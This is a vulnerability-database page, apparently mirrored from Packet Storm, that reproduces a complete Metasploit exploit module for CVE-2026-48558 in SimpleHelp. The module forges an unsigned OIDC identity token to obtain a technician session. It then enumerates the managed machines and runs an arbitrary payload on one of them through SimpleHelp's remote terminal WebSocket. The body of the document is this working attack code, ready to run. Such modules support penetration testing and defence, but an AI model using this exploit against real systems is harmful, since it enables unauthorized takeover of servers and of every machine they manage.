...[ More ]
🗓️ 02 Sep 2026 00:00:00Reported by Zach Hanley, Horizon3.ai, Blackpoint Cyber, jheysel-r7Type
packetstorm🔗 packetstorm.news👁 7 Views
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for Improper Verification of Cryptographic Signature in Simple-Help Simplehelp | 2 Jul 202616:11 | – | githubexploit | |
| CVE-2026-48558 | 13 Jun 202615:00 | – | circl | |
| SimpleHelp Authentication Bypass Vulnerability | 29 Jun 202600:00 | – | cisa_kev | |
| CVE-2026-48558 | 12 Jun 202617:07 | – | cve | |
| CVE-2026-48558 SimpleHelp Authentication Bypass via Missing OIDC JWT Signature Verification | 12 Jun 202617:07 | – | cvelist | |
| EUVD-2026-36509 | 12 Jun 202617:07 | – | euvd | |
| CVE-2026-48558 | 31 Aug 202601:09 | – | kitploit | |
| SimpleHelp OIDC Authentication Bypass Remote Code Execution | 12 Jun 202600:00 | – | metasploit | |
| CVE-2026-48558 | 12 Jun 202618:16 | – | nvd | |
| PT-2026-48947 | 12 Jun 202600:00 | – | ptsecurity |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
TECH_SERVER_PLANE = 0
USER_CONNECT_PLANE = 2
SOCKET_SETUP_PLANE = 0
TERMINAL_PLANE = 5
TRANSACTION_WRAPPER = -1_524_849_380
GET_MACHINE_LIST = 13_000
CONNECT_TO_MACHINE = 8_000
TOTP_TOKEN_REQUEST = 170
SOCKET_FIRST = -4_517_462
SOCKET_PASSWORD_OK = -1_412_623_820
SOCKET_BAD_PASSWORD = 1_126_292_666
TERMINAL_COMMAND = 655_362
TERMINAL_OUTPUT = 655_363
TERMINAL_NEW = 655_369
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SimpleHelp OIDC Authentication Bypass Remote Code Execution',
'Description' => %q{
This module exploits CVE-2026-48558 to forge an OpenID Connect identity token and
obtain a SimpleHelp technician session. It then uses SimpleHelp's legitimate remote
access WebSocket protocol to connect to an online managed machine and execute a
payload through the remote terminal.
An OIDC provider must be enabled for a technician group that permits group-authenticated
logins. The group must be allowed to access the selected machine and run remote commands.
The SimpleHelp server must have a valid session license, and at least one managed machine
must be online.
SimpleHelp 5.5.0 through 5.5.15 are affected. Some SimpleHelp 6.0 prerelease builds before
6.0 RC2 are also affected.
},
'Author' => [
'Zach Hanley', # Discovery
'Horizon3.ai', # Vulnerability research
'Blackpoint Cyber', # Post-authentication intrusion chain
'jheysel-r7' # Metasploit module
],
'References' => [
['CVE', '2026-48558'],
['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/'],
['URL', 'https://guides.simple-help.com/kb---security-vulnerabilities-05-2026'],
['URL', 'https://blackpointcyber.com/blog/a-djinn-in-the-machine-taskweavers-node-js-intrusion-chain/']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-06-12',
'Privileged' => true,
'Payload' => {
'BadChars' => "\x00\r\n"
},
'Targets' => [
[
'Unix/Linux/macOS Command',
{
'Platform' => %w[linux osx unix],
'Arch' => ARCH_CMD,
'Shell' => 3,
'OSPattern' => /Linux|Ubuntu|Debian|Fedora|Red Hat|CentOS|macOS|Mac OS/i
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Shell' => 1,
'OSPattern' => /Windows/i
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the SimpleHelp installation', '/']),
OptString.new('OIDC_PROVIDER', [false, 'The OIDC provider name (the first available provider is used by default)']),
OptString.new('MACHINE_ID', [false, 'The managed machine ID to obtain a session on (the first online machine is used by default)']),
OptString.new('NEW_USERNAME', [true, 'The username claim for the forged technician', Faker::Internet.username(specifier: 8..12)]),
OptString.new('NEW_EMAIL', [true, 'The email claim for the forged technician', Faker::Internet.email]),
OptString.new('NEW_DISPLAY_NAME', [true, 'The display name claim for the forged technician', Faker::Name.name])
]
)
end
def check
version_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'allversions')
)
return CheckCode::Unknown('No response received from the target') unless version_res
return CheckCode::Unknown('Unable to retrieve the SimpleHelp version') unless version_res.body =~ /^Visual Version:\s*(\d+\.\d+(?:\.\d+)?)/
version = Rex::Version.new(Regexp.last_match(1))
unless version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.15'))
if version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')
return CheckCode::Detected("SimpleHelp #{version} detected; the version string does not identify affected 6.0 prerelease builds")
end
return CheckCode::Safe("SimpleHelp version #{version} is not affected")
end
providers = oidc_providers
return CheckCode::Safe("SimpleHelp #{version} does not expose an enabled OIDC provider") if providers.empty?
provider_names = providers.filter_map { |provider| provider['name'] }.join(', ')
CheckCode::Appears("SimpleHelp #{version} exposes OIDC provider(s): #{provider_names}")
rescue StandardError => e
CheckCode::Unknown("Failed to check the target: #{e.message}")
end
def exploit
cookie_jar.clear
session_cookie = create_technician_session
@wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Cookie' => "#{session_cookie.name}=#{session_cookie.value}"
}
)
technician = authenticate_websocket(session_cookie.value)
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: ssl ? 'https' : 'http',
info: 'SimpleHelp remote support server'
)
machine = select_machine(enumerate_machines)
validate_machine_target!(machine)
print_status("Connecting to managed machine #{machine['name'].inspect} (#{machine['machineID']})")
establish_remote_terminal(machine['machineID'], technician)
print_status("Executing the payload through the #{target.name} terminal")
send_user_plane(TERMINAL_PLANE, {
'type' => TERMINAL_COMMAND,
'terminalNumber' => 0,
'dataString' => "#{payload.encoded}\n"
})
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
name: name,
info: "Executed a command on managed machine #{machine['machineID']} through a forged technician session",
refs: references
)
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "The SimpleHelp WebSocket connection failed: #{e.message}")
end
def cleanup
@wsock&.wsclose
rescue StandardError
nil
ensure
super
end
def create_technician_session
provider = select_provider
print_status("Requesting an authorization flow for OIDC provider #{provider['name'].inspect}")
callback = "#{normalize_uri(target_uri.path, 'webapps', 'technician')}/"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'oidc_get'),
'vars_get' => {
'payload' => provider.merge('callback' => callback).to_json
},
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'No response received while starting the OIDC flow') unless res
fail_with(Failure::UnexpectedReply, "OIDC flow request returned HTTP #{res.code}") unless res.code == 200
authorization_url = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The OIDC flow response did not contain an authorization URL') unless authorization_url.is_a?(String)
begin
authorization_query = URI.decode_www_form(URI.parse(authorization_url).query.to_s).to_h
rescue URI::InvalidURIError, ArgumentError => e
fail_with(Failure::UnexpectedReply, "The OIDC authorization URL could not be parsed: #{e.message}")
end
state = authorization_query['state']
fail_with(Failure::UnexpectedReply, 'The OIDC authorization URL did not contain a state parameter') if state.blank?
claims = {
'sub' => Faker::Internet.uuid,
'preferred_username' => datastore['NEW_USERNAME'],
'name' => datastore['NEW_DISPLAY_NAME'],
'email' => datastore['NEW_EMAIL'],
'iat' => Time.now.to_i,
'exp' => Time.now.to_i + 3600
}
claims['nonce'] = authorization_query['nonce'] if authorization_query['nonce'].present?
id_token = [
Rex::Text.encode_base64url({ 'alg' => 'none', 'typ' => 'JWT' }.to_json),
Rex::Text.encode_base64url(claims.to_json),
'x'
].join('.')
print_status("Submitting a forged identity token for #{datastore['NEW_USERNAME'].inspect}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'oidc'),
'vars_post' => {
'state' => state,
'id_token' => id_token
},
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'No response received from the OIDC callback') unless res
fail_with(Failure::UnexpectedReply, "The OIDC callback returned HTTP #{res.code}") unless [200, 302].include?(res.code)
status_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'status'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'No response received while verifying the technician session') unless status_res
fail_with(Failure::UnexpectedReply, "The account status endpoint returned HTTP #{status_res.code}") unless status_res.code == 200
status = status_res.get_json_document
unless status.is_a?(Hash) && status['state'] == 'FULLY_AUTHENTICATED' && status['code'] == 1
fail_with(Failure::NoAccess, 'The forged identity token did not create an authenticated technician session')
end
session_cookie = cookie_jar.cookies.find { |cookie| cookie.name == 'shelp-tc-sessionid' }
fail_with(Failure::UnexpectedReply, 'Authentication succeeded but the technician session cookie was not found') unless session_cookie
print_good("Authenticated as SimpleHelp technician #{status.dig('user', 'username') || datastore['NEW_USERNAME']}")
session_cookie
end
def authenticate_websocket(session_token)
send_websocket_message('credentials' => { 'sessionToken64' => session_token })
login_accepted = false
wait_for_websocket_message('technician WebSocket authentication') do |message|
if message['code'] == TOTP_TOKEN_REQUEST
send_websocket_message('message' => 'NONE')
next false
end
if message['code'] == 1
login_accepted = true
next false
end
if message['code'] && message['code'] < 0
fail_with(Failure::NoAccess, 'The technician session was rejected by the WebSocket endpoint')
end
next false unless login_accepted && message['transientTechUser'].is_a?(Hash)
message['transientTechUser']
end
end
def enumerate_machines
send_tech_transaction(0, 'type' => GET_MACHINE_LIST)
machines = wait_for_websocket_message('managed machine list') do |message|
candidate = message.dig('payload', 'payload', 'machines') if message['plane'] == TECH_SERVER_PLANE
candidate.is_a?(Array) ? candidate : false
end
print_status("Found #{machines.length} managed machine#{machines.length == 1 ? '' : 's'}")
machines
end
def select_machine(machines)
requested_id = datastore['MACHINE_ID']
if requested_id.present?
machine = machines.find { |candidate| candidate['machineID'] == requested_id }
fail_with(Failure::BadConfig, "Managed machine #{requested_id.inspect} was not found") unless machine
else
machine = machines.find { |candidate| candidate['online'] }
fail_with(Failure::NotFound, 'No online managed machines are visible to the forged technician') unless machine
end
fail_with(Failure::NoTarget, "Managed machine #{machine['machineID']} is offline") unless machine['online']
machine
end
def validate_machine_target!(machine)
machine_os = machine['os'].to_s
return if machine_os.match?(target['OSPattern'])
fail_with(Failure::BadConfig, "The selected #{target.name} target does not match managed machine OS #{machine_os.inspect}")
end
def establish_remote_terminal(machine_id, technician)
send_tech_transaction(1, {
'type' => CONNECT_TO_MACHINE,
'machineID' => machine_id
})
connection_accepted = false
socket_authenticated = false
terminal_output = +''
wait_for_websocket_message('remote terminal prompt', timeout: 45) do |message|
if message['plane'] == TECH_SERVER_PLANE && message.dig('payload', 'conv') == 1
response = message.dig('payload', 'payload')
if response['type'] == -3
fail_with(Failure::NoAccess, "SimpleHelp refused the remote session: #{response['note']}")
elsif response['type'].to_i < 0
fail_with(Failure::UnexpectedReply, "SimpleHelp returned remote connection error #{response['type']}: #{response['note']}")
elsif response['type'] == 1
connection_accepted = true
end
end
next false unless message['plane'] == USER_CONNECT_PLANE
nested = message['payload']
next false unless nested.is_a?(Hash) && nested['plane']
nested_payload = nested['payload']
next false unless nested_payload.is_a?(Hash)
if nested['plane'] == SOCKET_SETUP_PLANE
case nested_payload['type']
when SOCKET_FIRST
send_user_plane(SOCKET_SETUP_PLANE, 'password' => '')
when SOCKET_BAD_PASSWORD
fail_with(Failure::NoAccess, 'The managed machine requires a remote access password')
when SOCKET_PASSWORD_OK
basic_technician = {
'uniqueID' => technician['uniqueID'],
'displayName' => technician['displayName'],
'username' => technician['username'],
'emailAddress' => technician['emailAddress'],
'isOnline' => true
}
send_user_plane(SOCKET_SETUP_PLANE, basic_technician)
Rex.sleep(0.5)
send_user_plane(TERMINAL_PLANE, {
'type' => TERMINAL_NEW,
'terminalNumber' => 0,
'shell' => target['Shell']
})
socket_authenticated = true
end
elsif nested['plane'] == TERMINAL_PLANE && nested_payload['type'] == TERMINAL_OUTPUT
data = nested_payload['data']
terminal_output << data.pack('C*') if data.is_a?(Array)
end
connection_accepted && socket_authenticated && terminal_output.match?(/[>$%]\s*\z|#\s*\z/)
end
end
def send_tech_transaction(conversation_id, request)
send_websocket_message(
'plane' => TECH_SERVER_PLANE,
'payload' => {
'type' => TRANSACTION_WRAPPER,
'conv' => conversation_id,
'payload' => request
}
)
end
def send_user_plane(plane, payload)
send_websocket_message(
'plane' => USER_CONNECT_PLANE,
'payload' => {
'plane' => plane,
'payload' => payload
}
)
end
def send_websocket_message(message)
@wsock.put_wstext(message.to_json)
end
def wait_for_websocket_message(description, timeout: 20)
deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout
loop do
remaining = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)
fail_with(Failure::TimeoutExpired, "Timed out waiting for #{description}") if remaining <= 0
message = receive_websocket_message(remaining)
result = yield(message)
return result if result
end
end
def receive_websocket_message(timeout)
frame = ::Timeout.timeout(timeout) do
loop do
frame = @wsock.get_wsframe
fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') unless frame
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::PING
@wsock.put_wsframe(frame.dup.tap { |reply| reply.header.opcode = Rex::Proto::Http::WebSocket::Opcode::PONG })
next
end
fail_with(Failure::Disconnected, 'The SimpleHelp WebSocket connection closed unexpectedly') if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
next unless frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::TEXT
break frame
end
end
JSON.parse(frame.payload_data.to_s)
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, 'Timed out waiting for a SimpleHelp WebSocket response')
rescue JSON::ParserError => e
fail_with(Failure::UnexpectedReply, "SimpleHelp returned an invalid WebSocket JSON message: #{e.message}")
end
def oidc_providers
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'auth', 'v1', 'account', 'login_options')
)
return [] unless res&.code == 200
options = res.get_json_document
return [] unless options.is_a?(Array)
options.select { |provider| provider.is_a?(Hash) && %w[oidc azure].include?(provider['type']) }
end
def select_provider
providers = oidc_providers
fail_with(Failure::NotFound, 'No enabled OIDC provider was exposed by SimpleHelp') if providers.empty?
requested_provider = datastore['OIDC_PROVIDER']
return providers.first if requested_provider.blank?
provider = providers.find { |candidate| candidate['name'] == requested_provider }
fail_with(Failure::BadConfig, "OIDC provider #{requested_provider.inspect} was not found") unless provider
provider
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Sep 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 49.5
CVSS 3.110
EPSS0.30045
SSVC